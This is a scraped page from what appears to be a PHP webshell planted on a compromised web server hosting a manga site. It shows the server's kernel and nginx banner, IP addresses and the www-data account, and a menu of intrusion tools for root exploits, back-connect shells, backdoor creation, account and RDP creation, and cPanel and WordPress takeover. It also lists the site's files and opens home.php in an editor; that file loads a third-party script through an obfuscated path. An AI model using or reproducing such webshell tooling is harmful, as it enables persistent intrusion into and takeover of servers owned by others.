Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
mangalegend /
public_html /
[ HOME SHELL ]
Name
Size
Permission
Action
404.php
5.35
KB
-rw-rw-r--
752080a790.php
6.42
KB
-rw-rw-r--
99ec2cfd235e6eff303e.txt
20
B
-rw-rw-r--
actions.php
4.3
KB
-rw-rw-r--
ads.txt
3
B
-rw-rw-r--
datasource.php
3.09
KB
-rw-rw-r--
dbhelper.php
31.2
KB
-rw-rw-r--
discord.webp
5.65
KB
-rw-rw-r--
footer.php
94.91
KB
-rw-rw-r--
genre.php
16.81
KB
-rw-rw-r--
head.php
877
B
-rw-rw-r--
header.php
27.22
KB
-rw-rw-r--
history.php
8.39
KB
-rw-rw-r--
home.php
49.2
KB
-rw-rw-r--
index.php
21.64
KB
-rw-rw-r--
install_webapp.php
6.63
KB
-rw-rw-r--
manifest.json
442
B
-rw-rw-r--
most-viewed.php
11.23
KB
-rw-rw-r--
new-manga.php
16.71
KB
-rw-rw-r--
privacy-policy.php
13.92
KB
-rw-rw-r--
pubfuture_script.php
123
B
-rw-rw-r--
read-manga.php
47.96
KB
-rw-rw-r--
reading.php
46.61
KB
-rw-rw-r--
robots.txt
72
B
-rw-rw-r--
search.php
17.36
KB
-rw-rw-r--
seo.php
1.33
KB
-rw-rw-r--
sitemap.xml
880.79
KB
-rw-rw-r--
style_css.php
99.57
KB
-rw-rw-r--
terms-of-service.php
25.23
KB
-rw-rw-r--
weekly-manga.php
17.44
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : home.php
<!DOCTYPE html> <html lang="en" data-fp="5h93d476r16"> <?php if (session_status() === PHP_SESSION_NONE) { session_start(); } require_once(__DIR__ . "/dbhelper.php"); $dbhelper = new DBHelper(); $mangas = $dbhelper->getAllMangas(); $latestUpdate = $dbhelper->getLatestUpdateChapter(); $mostViews = $dbhelper->getAllTimeMangaViewRanking(); $encryptionKey = $dbhelper->getEncryptionKey(); ?> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>MangaLegend | Read Manga Online Safe At Our Site</title> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1"> <meta data-n-head="ssr" name="format-detection" content="telephone=no"> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta data-n-head="ssr" data-hid="robots" name="robots" content="index, follow, all"> <meta data-n-head="ssr" data-hid="googlebot" name="googlebot" content="index, follow, all"> <link rel="manifest" href="manifest.json" /> <link data-n-head="ssr" rel="icon" variant="image/x-icon" href="/favicon.ico?v=1"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.min.css"> <link rel="apple-touch-icon" href="/favicon.ico?v=2"> <link data-n-head="ssr" rel="canonical" href="https://mangalegend.com/home.php"> <meta data-n-head="ssr" data-hid="title" name="title" content="MangaLegend | Read Manga Online Safe At Our Site"> <meta data-n-head="ssr" data-hid="og:title" property="og:title" name="og:title" content="MangaLegend | Read Manga Online Safe At Our Site"> <meta data-n-head="ssr" data-hid="description" name="description" content="Read latest manga, Blue Lock, One Piece and Gachiakuta manga online free at mangalegend.com, fastest chapter update, original translation with the latest chapter and high quality manga image and panel."> <meta data-n-head="ssr" data-hid="og:description" property="og:description" name="og:description" content="Read latest manga, Blue Lock, One Piece and Gachiakuta manga online free at mangalegend.com, fastest chapter update, original translation with the latest chapter and high quality manga image and panel."> <meta data-n-head="ssr" data-hid="og:site_name" property="og:site_name" content="MangaLegend.com"> <meta data-n-head="ssr" data-hid="og:url" name="og:url" content="https://mangalegend.com/"> <meta data-n-head="ssr" data-hid="i18n-og" property="og:locale" content="en"> <meta data-n-head="ssr" data-hid="og:image" property="og:image" content="https://mangalegend.com/manga_og.jpg" /> <script type="application/ld+json"> { "@context": "https://schema.org/", "@type": "WebSite", "name": "MangaLegend Online", "url": "https://mangalegend.com", "potentialAction": { "@type": "SearchAction", "target": "https://mangalegend.com/search.php?keyword={search_term_string}", "query-input": "required name=search_term_string" } } </script> <meta name="google-site-verification" content="YULd1GhfMynwxPugmLTElcmJVJ7q6sAzsVGQdIk7qm4" /> <meta name="msvalidate.01" content="69A7027F1B17DC7F5BB3CB0B140CE98D" /> <?php include('head.php'); ?> <?php include('pubfuture_script.php'); ?> </head> <?php include('style_css.php'); ?> <body class="dark-mode"> <style> .owl-theme img { height: 160px; overflow: hidden; } .owl-carousel .owl-prev, .owl-carousel .owl-next { position: absolute; top: 40%; transform: translateY(-50%); background-color: rgb(212, 212, 212, 0.8) !important; color: #000 !important; font-size: 1.5em !important; width: 40px; height: 40px; border-radius: 100% !important; font-weight: bold; padding: 15px !important; text-align: center; } .owl-carousel .owl-prev:hover, .owl-carousel .owl-next:hover { background-color: rgb(212, 212, 212, 0.8) !important; color: #000 !important; } .owl-carousel .owl-prev { left: -30px; } .owl-carousel .owl-next { right: -30px; } .owl-theme .owl-dots .owl-dot.active span { background: #ffac27ff !important; width: 25px; transition: 0.2s ease-in-out; } .owl-theme .owl-dots .owl-dot:hover span { background: #ffac27ff !important; transition: 0.2s ease-in-out; } /* Responsive design custom css */ .desktop-view { display: block; } .mobile-view { display: none; } @media only screen and (max-width:480px) { .owl-theme .owl-dots .owl-dot { display: none; } .owl-carousel .owl-prev, .owl-carousel .owl-next { width: 30px; height: 30px; font-size: 14px !important; top: 45%; box-shadow: 0px 0px 0px 0px #000; } .owl-carousel .owl-prev { left: 0px; } .owl-carousel .owl-next { right: 0px; } .desktop-view { display: none; } .mobile-view { display: block; } } .myButtonad { position: relative; z-index: 1; /* Ensure button is above the layer initially */ } /* Style for the clickable overlay layer */ .click-layer { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0); z-index: 999; /* Make sure the layer is on top of the button */ cursor: pointer; display:none; } </style> <div id="__nuxt"> <!----> <div id="__layout"> <div class="default-container" data-v-5fa6951a=""> <?php include('header.php'); ?> <div id="main-container" class="content-container" data-v-5fa6951a=""> <div data-v-e49fcc30="" data-v-5fa6951a=""> <!--<h2 data-v-189babae="" class="container" style=" font-weight: 700; font-size: 1.1rem; width: 100%; height: auto; max-width: 340px; margin: 30px auto; text-align: center; padding: 10px; border: 3px dotted #f00; ">Happy New Year to all our beloved readers. Thank you for supporting us all this while. ❤️</h2>--> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3" style="text-align:center; margin: 0px auto 20px; background: rgb(55 65 81);"> Join our<a href="https://discord.gg/bmB5fzy4eg" style="color:#ff9c00;"> Discord </a>for support, chit chat and discussion. </div> <div data-v-ca6cf050="" data-v-e49fcc30="" class="container container row-responsive my-3"> <div data-v-e49fcc30="" data-v-ca6cf050="" class="flex-fill column"> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <script> (function(vxvxvi){ var d = document, s = d.createElement('script'), l = d.scripts[d.scripts.length - 1]; s.settings = vxvxvi || {}; s.src = "\/\/euphoric-square.com\/bCX.VAsidyGNlZ0-YRWacI\/deWmr9IuLZ\/USlXkDPyTiYo1-M_jREm5nOXDGIztiNsjSUdyqMhT\/kX4EMUwR"; s.async = true; s.referrerPolicy = 'no-referrer-when-downgrade'; l.parentNode.insertBefore(s, l); })({}) </script> </div> <!--<div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 desktop-view"> <div id="pf-12511-1" style="left: -125px!important;"><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "673d4ccfe7f6e2003fff4bb2", id: "pf-12511-1"})</script></div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0 mobile-view"> <div id="pf-12509-1"><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "673d4c9fe7f6e2003fff4b40", id: "pf-12509-1"})</script></div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <a href="https://berripix.com"><img src="ads/berripix/berripix.jpg?v=1" alt="BerriPix.com" title="BerriPix.com" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div>--> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <img src="banner1.jpg" alt="MangaLegend Banner" title="MangaLegend Banner" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <h4 style="margin:20px 0 0;">Read Popular and Trending Manga Only on MangaLegend.com</h4><br> Japanese entertainment, especially manga, anime, and light novels continues to capture hearts worldwide. In recent years, manga has skyrocketed in popularity, with millions of fans eagerly reading new chapters as soon as they’re released. From record-breaking bestsellers to viral new releases, these stories inspire future creators and fuel the global manga boom. <br>At MangaLegend.com, you’ll find only the most popular and trending manga, updated daily. Dive into the series everyone’s talking about only on MangaLegend.com. </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="container relative"> <div class="section-container p-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 class="section-title" data-v-189babae="" style="text-decoration: none!important; color: #ff9c00!important;"> Popular Today </h2> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider1"> <?php foreach ($mangas as $m) { ?> <?php if (!empty($m['latest_chapter'])) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= '/simage.php?url='. urlencode(base64_encode(openssl_encrypt($dbhelper->getImageSource() . $m['display_image'], 'AES-256-CBC', $encryptionKey, 0, $encryptionKey))) ?>" alt="<?= $m['title'] ?>" title="<?= $m['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['title'] ?> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) . '/' . $m['latest_chapter_id'] ?>" title=" <?= $m['latest_chapter'] ?>" class="link no-decoration my-1 text-light text-small one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['latest_chapter'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($m['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> </div> </div> <?php } ?> <?php } ?> </div> </section> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <h4 style="margin:20px 0 0;">Why Manga Fans Prefer the Original Storytelling Only on MangaLegend.com</h4><br> While anime adaptations are beloved worldwide, they often diverge from the original plot, adding filler episodes or omitting key storylines. That's why true fans turn to the manga versions, where the story unfolds exactly as the creator intended. Unlike anime, manga offers faster updates, no filler, and is easier to access without the hassle of paywalls or streaming restrictions. Although debates continue over the greatest manga of all time, fans agree on many top-tier titles that deliver unforgettable storytelling. <br><br> Don't miss out! Check out all the <a href="new-manga.php">latest manga updates</a> only on MangaLegend.com! </div> <br> <!--<div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="text-align:center;"> <div id="pf-15297-1" data-format="display" ><script>window.pubfuturetag = window.pubfuturetag || [];window.pubfuturetag.push({unit: "6846ae97acfb7803296c127b", id: "pf-15297-1"})</script></div> </div>--> <!--<br> <br> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="display: flex; flex-direction: column; align-items: center;"> <style> .options { padding: 8px; margin: 0px; border: 0px; width: 120px; background-color: #444; margin: 0px 10px; font-size: 0.9em; color: #fff; border-radius: 15px; } #option1 { background-color: #2b7958; } #option2 { background-color: #831f70; } #Cont { position: relative; display: flex; width: 300px; height: 30px; margin: 0px 10px; background-color: #fff; display: flex; align-items: center; justify-content: center; border-radius: 15px; overflow: hidden; } .bar { justify-content: center; position: relative; display: flex; height: 100%; display: flex; transition: 200ms all; align-items: center; font-size: 0.7rem; } #bar1 { background-color: #2b7958; width: 150px; } #bar2 { background-color: #831f70; width: 150px; } #header { width: 100%; display: flex; align-items: center; justify-content: center; color: #fff; height: 20px; font-size: 1.3em; margin-top: 30px; } #totalCount { margin-left: 20px; } .perc { display: flex; justify-content: center; align-items: center; color: #fff; background-color: #5b007b; border-radius: 50%; height: 38px; width: 100%; max-width: 40px; font-size: 0.7em; } .barCounter { display: flex; justify-content: center; align-items: center; color: #fff; height: 5px; width: 140px; font-size: 1em; margin-bottom: 30px; } </style> <div class="row"> <div id="header"> Next Manga Voting Polls <p id="totalCount"> 0</p> </div> </div> <div class="row" style="align-items: center; width:100%; justify-content: center;"> <p class="perc" id="bar1perc">0%</p> <div id="Cont"> <div class="bar" id="bar1"> </div> <div class="bar" id="bar2"> </div> </div> <p class="perc" id="bar2perc">0%</p> </div> <div class="row"> <button class="options" id="option1"> Naruto </button> <button class="options" id="option2"> Attack On Titan </button> </div> <div class="row"> <p class="barCounter" id="bar1Count">0</p> <p class="barCounter" id="bar2Count">0</p> </div> <script> var bar1Counter = 0; var bar2Counter = 0; var totalCount = 0; $(document).ready(function () { getPollingResult() function addPolling(value) { var params = { action: 'add_polling_selection', selection: value }; $.ajax({ url: 'actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: 'Selection submited', showConfirmButton: true }).then(function() { //location.reload(); getPollingResult() }); } else { Swal.fire({ icon: 'error', title: 'Your selection already submmited', showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } function getPollingResult() { var params = { action: 'get_polling_result' }; $.ajax({ url: 'actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { console.log(data) var result = JSON.parse(data) if (result.result) { $.each(result.result, function(index, value) { if(value.selection === 1) { bar1Counter = value.total $("#bar1Count").text( bar1Counter ); } if(value.selection === 2) { bar2Counter = value.total $("#bar2Count").text( bar2Counter ); } totalCount += value.total; updatePollResult() }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } function updatePollResult() { $("#totalCount").text( totalCount );var bar1Perc = ((bar1Counter / totalCount) * 100).toFixed(0); $("#bar1perc").text(bar1Perc + "%"); var bar2Perc = ((bar2Counter / totalCount) * 100).toFixed(0); $("#bar2perc ").text(bar2Perc + "%"); $("#bar1").width((300 * bar1Counter) / totalCount); $("#bar2").width((300 * bar2Counter) / totalCount); } $("#option1").click(function () { addPolling(1) }); $("#option2").click(function () { addPolling(2) }); }); </script> </div> <br>--> <div data-v-189babae="" data-v-e49fcc30="" class="section-container p-3 my-2 mt-3" data-v-ca6cf050=""> <div data-v-189babae=""> <div data-v-189babae="" class="flex-fill justify-between"> <a href="new-manga.php" style="text-decoration: none!important; color: #ff9c00!important;"> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ff9c00!important;"> Latest Update </h2> </a> <a data-v-fb154981="" href="new-manga.php" class="rounded relative md-btn items-center px-3 overflow-hidden accent text rounded-full !px-0" aria-label="View last updated titles" style="min-height: 2.5rem; min-width: 2.5rem; align-items:center; display:flex; text-decoration: none!important; color: #ff9c00!important;"><span data-v-fb154981="" class="flex-fill relative items-center justify-center font-medium select-none w-full" style="pointer-events: none; justify-content: center;"><svg data-v-4c681a64="" data-v-fb154981="" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" class="feather feather-arrow-right icon" viewBox="0 0 24 24" style="color: currentcolor; text-decoration: none!important; color: #ff9c00!important;"> <path d="M5 12h14m-7-7 7 7-7 7"></path> </svg> </span> </a> </div> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-e49fcc30="" data-v-189babae="" class="grid-horizontal-items"> <?php foreach ($latestUpdate as $lu) { ?> <div data-v-666e9941="" data-v-e49fcc30="" class="manga-horizontal-item row" data-v-189babae=""> <a data-v-74ec4422="" data-v-666e9941="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) ?>" class="link no-decoration myButtonad" title="<?= $lu['title'] ?>"> <img data-v-a1ebd7c8="" data-v-666e9941="" src="<?= '/simage.php?url='. urlencode(base64_encode(openssl_encrypt($dbhelper->getImageSource() . $lu['display_image'], 'AES-256-CBC', $encryptionKey, 0, $encryptionKey))) ?>" alt="<?= $lu['title'] ?>" title="<?= $lu['title'] ?>" loading="lazy"> </a> <div data-v-666e9941="" class="column ml-3 flex-fill"> <a data-v-74ec4422="" data-v-666e9941="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) ?>" class="link no-decoration bold one-line myButtonad" title="<?= $lu['title'] ?>" style="width:50%;"> <?= $lu['title'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($lu['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"> </polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"> <?= number_format($m_ratings['average_rating'], 2); ?> </span> </div> <span data-v-666e9941="" class="my-1" style="width:50%;"> <span data-v-70d8a0c4="" data-v-666e9941="" class="text grey small" data-v-3e2b49c6="">Genres: </span> <?php $genres = explode(",", $lu['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="/genre.php?genre=<?= trim($g) ?>" class="link no-decoration comic-info-link" title="<?= trim($g) ?>"> <?= $g ?> </a> <?php } ?> </span> <?php $mlc = $dbhelper->getLatestChapter($lu['id']); ?> <?php foreach ($mlc as $lc) { ?> <div data-v-00ecdcd6="" data-v-666e9941="" class="row align-center my-1"><a data-v-74ec4422="" data-v-00ecdcd6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($lu['title']))) . '/' . $lc['id'] ?>" class="link no-decoration episode mr-auto myButtonad" title="<?= $lc['name'] ?>"> <span data-v-70d8a0c4="" data-v-00ecdcd6="" class="one-line text default tiny"> <?= $lc['name'] ?> </span> </a> <span data-v-70d8a0c4="" data-v-00ecdcd6="" class="episode-date text grey tiny"> <?php $upload_date = new DateTime($lc['created']); $now_date = new DateTime(); $diff = $upload_date->diff($now_date); ?> <?= $diff->y ? $diff->y . ' years' : '' ?> <?php if ($diff->y == 0) { ?> <?= $diff->m ? $diff->m . ' months' : '' ?> <?php if ($diff->m == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if ($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if ($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago </span> </div> <?php } ?> </div> </div> <?php } ?> </div> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0"> <h4 style="margin:20px 0 0;">Explore the Most Viewed and Top-Rated Mangas on MangaLegend.com</h4><br> Check out the <a href="most-viewed.php">Most Viewed Mangas</a> on MangaLegend.com loved by thousands of dedicated readers worldwide. The Top 3 manga titles consistently rank as the hottest reads, earning 5-star ratings and setting the standard for what's trending. Whether you're a seasoned fan or a new reader, these must-read series belong at the top of your list. <br><br> Start reading the most popular manga picks today only on MangaLegend.com! </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="section-container p-3 py-0" style="margin-top:20px; display:flex;"> <a href="https://mangacherri.com/home.php"><img src="cherri1.jpg?v=4" alt="Mangacherri Banner" title="Mangacherri Banner" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> <a href="https://berripix.com"><img src="berripix1.jpg?v=3" alt="BerriPix.com" title="BerriPix.com" data-v-a1ebd7c8="" data-v-4b575bc4="" style="width:100%;"></a> </div> <div data-v-ca6cf050="" data-v-e1935f7a="" data-v-e49fcc30="" class="container relative"> <div class="section-container p-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <div data-v-189babae="" class="flex-fill justify-between"> <a href="most-viewed.php" style="text-decoration: none!important; color: #ff9c00!important;"> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ff9c00!important;"> Most Viewed </h2> </a> <a data-v-fb154981="" href="most-viewed.php" class="rounded relative md-btn items-center px-3 overflow-hidden accent text rounded-full !px-0" aria-label="View last updated titles" style="min-height: 2.5rem; min-width: 2.5rem; align-items:center; display:flex;"><span data-v-fb154981="" class="flex-fill relative items-center justify-center font-medium select-none w-full" style="pointer-events: none; justify-content: center; text-decoration: none!important; color: #ff9c00!important;"><svg data-v-4c681a64="" data-v-fb154981="" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" class="feather feather-arrow-right icon" viewBox="0 0 24 24" style="color: currentcolor; text-decoration: none!important; color: #ff9c00!important;"> <path d="M5 12h14m-7-7 7 7-7 7"></path> </svg> </span> </a> </div> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider2"> <?php foreach ($mostViews as $m) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= '/simage.php?url='. urlencode(base64_encode(openssl_encrypt($dbhelper->getImageSource() . $m['display_image'], 'AES-256-CBC', $encryptionKey, 0, $encryptionKey))) ?>" alt="<?= $m['title'] ?>" title="<?= $m['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) ?>" title="<?= $m['title'] ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $m['title'] ?> </a> <a data-v-74ec4422="" data-v-4b575bc4="" href="/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ', '-', strtolower($m['title']))) . '/' . $m['latest_chapter_id'] ?>" class="link no-decoration my-1 text-light text-small one-line" title="<?= $m['latest_chapter'] ?>"> <?= $m['latest_chapter'] ?> </a> <?php $m_ratings = $dbhelper->getMangaRatings($m['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default 